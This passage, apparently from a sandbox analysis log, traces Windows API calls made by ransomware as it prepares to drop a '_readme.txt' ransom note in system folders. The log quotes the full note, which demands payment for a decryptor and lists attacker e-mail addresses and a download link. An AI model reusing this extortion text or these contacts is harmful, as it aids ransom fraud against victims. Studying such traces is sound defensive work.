returned 0x7ac3918 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.546] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0111.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.546] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.546] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.546] PathFindFileNameW (pszPath="") returned="" [0111.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.547] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.547] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.547] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.547] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.547] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0111.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.547] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0111.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.548] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.548] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.548] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.548] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.549] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.549] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.549] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.549] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.549] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.551] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.551] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.552] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 